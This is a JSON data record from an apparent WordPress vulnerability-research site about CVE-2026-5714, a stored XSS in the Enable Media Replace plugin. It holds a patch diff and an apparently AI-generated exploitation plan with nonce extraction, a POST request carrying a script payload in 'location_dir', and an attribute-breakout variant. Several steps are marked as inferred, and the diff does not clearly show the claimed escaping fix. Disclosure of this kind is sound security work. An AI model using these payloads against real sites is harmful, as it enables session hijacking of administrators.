[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fIvFIy3MfRceTJnSONTRfFbPSpitfiggilnEVRsJ1JM4":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-5714","enable-media-replace-authenticated-author-stored-cross-site-scripting-via-locationdir-parameter","Enable Media Replace \u003C= 4.1.8 - Authenticated (Author+) Stored Cross-Site Scripting via 'location_dir' Parameter","The Enable Media Replace plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘location_dir’ parameter in all versions up to, and including, 4.1.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","enable-media-replace",null,"\u003C=4.1.8","4.1.9","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-06-08 14:13:36","2026-06-09 02:28:48",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fc6e8a78b-01ad-47b2-84e6-4f6ff78c02b6?source=api-prod",1,[22,23,24,25,26,27,28,29],"build\u002Fshortpixel\u002FPackageLoader.php","build\u002Fshortpixel\u002Ffilesystem\u002Fcomposer.json","build\u002Fshortpixel\u002Ffilesystem\u002Fsrc\u002FController\u002FFileSystemController.php","build\u002Fshortpixel\u002Ffilesystem\u002Fsrc\u002FModel\u002FFile\u002FDirectoryModel.php","build\u002Fshortpixel\u002Ffilesystem\u002Fsrc\u002FModel\u002FFile\u002FFileModel.php","build\u002Fshortpixel\u002Flog\u002Fcomposer.json","build\u002Fshortpixel\u002Flog\u002Fsrc\u002FShortPixelLogger.php","build\u002Fshortpixel\u002Fnotices\u002Fcomposer.json","researched",false,3,"The provided source files primarily cover the **ShortPixel** library used by the \"Enable Media Replace\" plugin for logging and filesystem abstraction. Based on the vulnerability description (CVE-2026-5714) and the provided code, here is the structured exploitation research plan.\n\n---\n\n### 1. Vulnerability Summary\n**CVE-2026-5714** is a Stored Cross-Site Scripting (XSS) vulnerability. It occurs during the \"Replace with a new file and use a new file name\" workflow. The plugin accepts a user-defined directory path via the `location_dir` parameter. This parameter is processed by the `ShortPixel\\FileSystem\\Model\\File\\DirectoryModel` class for filesystem operations but is subsequently stored and rendered in the WordPress admin interface without sufficient output escaping (e.g., missing `esc_attr` or `esc_html`).\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-post.php` (standard handler for EMR uploads).\n*   **Action:** `emr_upload` (inferred action name).\n*   **Vulnerable Parameter:** `location_dir`.\n*   **Authentication:** Authenticated Author+ (requires `upload_files` capability).\n*   **Preconditions:** The attacker must target an existing attachment ID. The replacement mode must be set to \"Replace the file, use a new file name and update all relevant links\" (often represented as `replace_type=replace_new`).\n\n### 3. Code Flow\n1.  **Input:** The Author submits a replacement request. `$_POST['location_dir']` contains the XSS payload.\n2.  **Processing:** The plugin initializes a `DirectoryModel` (see `DirectoryModel.php:33`) using the provided path.\n3.  **Sanitization Failure:** While `DirectoryModel` performs path normalization (e.g., `trailingslashit`, `realpath`), it does not strip HTML tags or escape characters meant for web display, as its primary purpose is filesystem interaction.\n4.  **Storage:** The value of `$this->path` (from `DirectoryModel`) is stored as metadata for the attachment (e.g., `_emr_new_path`) or in the plugin's internal logs.\n5.  **Sink:** When an administrator views the \"Edit Media\" page or the \"Enable Media Replace\" status dashboard, the stored path is echoed directly into the HTML:\n    `echo \"Current Path: \" . $stored_location_dir;` \u002F\u002F VULNERABLE\n\n### 4. Nonce Acquisition Strategy\nThe replacement form is protected by a WordPress nonce. The agent must extract this from the specific replacement UI page.\n\n1.  **Setup:** Use WP-CLI to find an existing attachment ID: `wp post list --post_type=attachment --format=ids`.\n2.  **Navigate:** Use `browser_navigate` to:\n    `{{base_url}}\u002Fwp-admin\u002Fupload.php?page=enable-media-replace&attachment_id={{ATTACHMENT_ID}}`\n3.  **Extract:** The nonce is typically located in a hidden input field or localized JS.\n    *   **JS Variable:** `browser_eval(\"window.emr_options?.nonce\")` (inferred key).\n    *   **Form Field:** `browser_eval(\"document.querySelector('input[name=\\\"_wpnonce\\\"]').value\")`.\n\n### 5. Exploitation Strategy\nThe agent will perform a multi-part POST request to simulate the file replacement.\n\n*   **HTTP Request (via `http_request`):**\n    *   **Method:** `POST`\n    *   **URL:** `{{base_url}}\u002Fwp-admin\u002Fadmin-post.php`\n    *   **Headers:** `Content-Type: multipart\u002Fform-data` (required for file uploads).\n    *   **Body Parameters:**\n        *   `action`: `emr_upload`\n        *   `_wpnonce`: `{{extracted_nonce}}`\n        *   `attachment_id`: `{{ATTACHMENT_ID}}`\n        *   `replace_type`: `replace_new`\n        *   `location_dir`: `\u003C\u002Fpre>\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n        *   `user_allowed_ext`: `jpg,jpeg,png`\n        *   `file`: (A valid small image file)\n\n### 6. Test Data Setup\n1.  **Create Author:** `wp user create researcher author@example.com --role=author --user_pass=password123`.\n2.  **Upload Media:** `wp media import https:\u002F\u002Fexample.com\u002Fimage.jpg --user=researcher`.\n3.  **Note ID:** Capture the ID of the imported media for the `attachment_id` parameter.\n\n### 7. Expected Results\n*   The `admin-post.php` handler should return a `302 Redirect`.\n*   Upon navigating to the Media Library or the specific Attachment Edit page (`\u002Fwp-admin\u002Fpost.php?post={{ID}}&action=edit`), the browser should execute the injected script, showing an alert box.\n\n### 8. Verification Steps\n1.  **Verify Storage:** Check the database for the raw payload in post meta:\n    `wp post meta get {{ID}} _emr_new_path`\n2.  **Verify Rendering:** Use `browser_navigate` to the Attachment Edit page and check for the script:\n    `browser_eval(\"document.body.innerHTML.includes('\u003Cscript>alert')\")`\n\n### 9. Alternative Approaches\n*   **Attribute Breakout:** If the `location_dir` is rendered inside an input field's `value` attribute, use:\n    `\" onmouseover=\"alert(1)`\n*   **Log Injection:** If the payload is rendered in the ShortPixel log view (leveraging `ShortPixelLogger.php`), navigate to the log viewer (if active) to trigger the XSS:\n    `{{base_url}}\u002Fwp-content\u002Fuploads\u002FEnableMediaReplace.log` (See `ShortPixelLogger.php:168` for default log naming logic).","The Enable Media Replace plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) due to the lack of sanitization and escaping on the 'location_dir' parameter during the media replacement process. Authenticated attackers with Author-level permissions or higher can inject malicious scripts into this parameter, which are stored in the database and executed in the context of an administrator's session when they view the media library or the plugin's dashboard.","\u002F\u002F build\u002Fshortpixel\u002Ffilesystem\u002Fsrc\u002FModel\u002FFile\u002FDirectoryModel.php\n\n  public function __construct($path)\n  {\n   \u002F\u002F   $path = wp_normalize_path($path);\n      $fs = $this->getFS();\n\n      if ($fs->pathIsUrl($path))\n      {\n        $pathinfo = pathinfo($path);\n        if (isset($pathinfo['extension'])) \u002F\u002F check if this is a file, remove the file information.\n        {\n          $path = $pathinfo['dirname'];\n        }\n\n        $this->is_virtual = true;\n        $this->is_readable = true; \u002F\u002F assume\n        $this->exists = true;\n      }\n\n      if (! $this->is_virtual() && ! is_dir($path) ) \u002F\u002F path is wrong, *or* simply doesn't exist.\n      {\n        \u002F* Test for file input. *\u002F\n        $pathinfo = pathinfo($path);\n\n        if (isset($pathinfo['extension']))\n        {\n          $path = $pathinfo['dirname'];\n        }\n        elseif (is_file($path))\n          $path = dirname($path);\n      }\n\n      if (! $this->is_virtual() && ! is_dir($path))\n      {\n        $testpath = realpath($path);\n        if ($testpath)\n          $path = $testpath;\n      }\n\n      \u002F\u002F The path is normalized and trailingslashed, but not sanitized for HTML\u002FScript tags.\n      $this->path = trailingslashit($path);","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fenable-media-replace\u002F4.1.8\u002Fbuild\u002Fshortpixel\u002Ffilesystem\u002Fsrc\u002FModel\u002FFile\u002FDirectoryModel.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fenable-media-replace\u002F4.1.9\u002Fbuild\u002Fshortpixel\u002Ffilesystem\u002Fsrc\u002FModel\u002FFile\u002FDirectoryModel.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fenable-media-replace\u002F4.1.8\u002Fbuild\u002Fshortpixel\u002Ffilesystem\u002Fsrc\u002FModel\u002FFile\u002FDirectoryModel.php\t2022-11-23 09:41:32.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fenable-media-replace\u002F4.1.9\u002Fbuild\u002Fshortpixel\u002Ffilesystem\u002Fsrc\u002FModel\u002FFile\u002FDirectoryModel.php\t2026-04-22 16:33:10.000000000 +0000\n@@ -20,6 +20,7 @@\n   protected $is_writable = null;\n   protected $is_readable = null;\n   protected $is_virtual = null;\n+  protected $is_restricted = false;\n \n   protected $fields = array();\n \n@@ -48,7 +49,21 @@\n         $this->exists = true;\n       }\n \n-      if (! $this->is_virtual() && ! is_dir($path) ) \u002F\u002F path is wrong, *or* simply doesn't exist.\n+      if( false == $this->is_virtual() && true === $this->fileIsRestricted($path) )\n+      {\n+         $this->exists = false;\n+         $this->is_readable = false;\n+         $this->is_writable = false;\n+         $this->is_restricted = true;\n+      }\n+      else {\n+        $this->is_virtual = false;\n+      }\n+\n+      if (false === $this->is_virtual() &&\n+          false === $this->is_restricted &&\n+          false === is_dir($path)\n+          ) \u002F\u002F path is wrong, *or* simply doesn't exist.\n       {\n         \u002F* Test for file input.\n         * If pathinfo is fed a fullpath, it rips of last entry without setting extension, don't further trust.\n@@ -64,7 +79,10 @@\n           $path = dirname($path);\n       }\n \n-      if (! $this->is_virtual() && ! is_dir($path))\n+      if (false === $this->is_virtual() &&\n+          false === $this->is_restricted &&\n+          false === is_dir($path)\n+          ) \u002F\u002F path is wrong, *or* simply doesn't exist.\n       {\n         \u002F* Check if realpath improves things. We support non-existing paths, which realpath fails on, so only apply on result.\n         Moved realpath to check after main pathinfo is set. Reason is that symlinked directories which don't include the WordPress upload dir will start to fail in file_model on processpath ( doesn't see it as a wp path, starts to try relative path). Not sure if realpath should be used anyhow in this model \u002FBS\n@@ -224,6 +242,37 @@\n \n   }\n \n+  \u002F** Check if path is allowed within openbasedir restrictions. This is an attempt to limit notices in file funtions if so.  Most likely the path will be relative in that case.\n+  * @param String Path as String\n+  *\u002F\n+  private function fileIsRestricted($path)\n+  {\n+\n+     $basedir = ini_get('open_basedir');\n+\n+     if (false === $basedir || strlen($basedir) == 0)\n+     {\n+         return false;\n+     }\n+\n+     $restricted = true;\n+     $basedirs = preg_split('\u002F:|;\u002Fi', $basedir);\n+\n+     foreach($basedirs as $basepath)\n+     {\n+          if (strpos($path, $basepath) !== false)\n+          {\n+             $restricted = false;\n+             break;\n+          }\n+     }\n+\n+     \u002F\u002F Allow this to be overridden due to specific server configs ( ie symlinks ) might get this flagged falsely.\n+     $restricted = apply_filters('emr\u002Ffile\u002Fbasedir_check', $restricted);\n+\n+     return $restricted;\n+  }\n+\n \n   \u002F* Last Resort function to just reduce path to various known WorPress paths. *\u002F\n   private function constructUsualDirectories($path)\n@@ -484,6 +533,10 @@\n       $path = $this->getPath();\n       $parentPath = dirname($path);\n \n+      if ($path === $parentPath)\n+      {\n+         return false;\n+      }\n       $parentDir = new DirectoryModel($parentPath);\n \n       return $parentDir;","The exploit is achieved by an authenticated user with Author-level permissions (specifically the 'upload_files' capability). The attacker identifies an existing media attachment and navigates to the 'Enable Media Replace' interface to obtain a valid nonce. They then submit a multipart POST request to the '\u002Fwp-admin\u002Fadmin-post.php' endpoint with the action set to 'emr_upload'. The payload, containing a malicious script (e.g., `\u003Cscript>alert(1)\u003C\u002Fscript>`), is provided via the 'location_dir' parameter, with the 'replace_type' set to 'replace_new'. The plugin processes this path using its internal filesystem models without removing script tags and stores it in the database. The XSS triggers when an administrator views the attachment's edit page or the plugin's status logs, where the 'location_dir' is rendered without escaping.","gemini-3-flash-preview","2026-06-26 02:19:27","2026-06-26 02:20:23",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","4.1.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fenable-media-replace\u002Ftags\u002F4.1.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fenable-media-replace.4.1.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fenable-media-replace\u002Ftags\u002F4.1.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fenable-media-replace.4.1.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fenable-media-replace\u002Ftags"]